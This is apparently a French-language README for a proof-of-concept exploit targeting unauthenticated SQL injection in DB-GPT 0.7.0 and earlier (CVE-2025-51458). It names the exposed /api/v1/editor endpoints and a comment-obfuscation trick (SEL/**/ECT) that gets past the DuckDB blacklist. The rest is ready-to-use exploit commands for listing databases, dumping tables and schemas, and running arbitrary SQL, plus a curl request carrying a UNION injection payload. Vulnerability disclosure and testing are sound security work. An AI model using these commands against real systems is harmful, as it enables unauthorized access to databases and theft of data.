
CVE-2025-51458 - DB-GPT PoC d'Injection SQL Pré-authentification
Injection SQL sans authentification dans DB-GPT <= 0.7.0
Les points de terminaison /api/v1/editor/sql/run et /api/v1/editor/chart/run acceptent du SQL arbitraire sans authentification. La liste noire sanitize_sql ne couvre que DuckDB ; les connexions MySQL, PostgreSQL et SQLite reçoivent une entrée utilisateur brute sans filtrage. La liste noire DuckDB elle-même peut être contournée via l'obfuscation par commentaires (SEL/**/ECT).
Ceci est un contournement de CVE-2024-10835 et CVE-2024-10901.
# List databases
python3 exp.py http://target:5670 --list-dbs
# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables
# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interactive mode
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'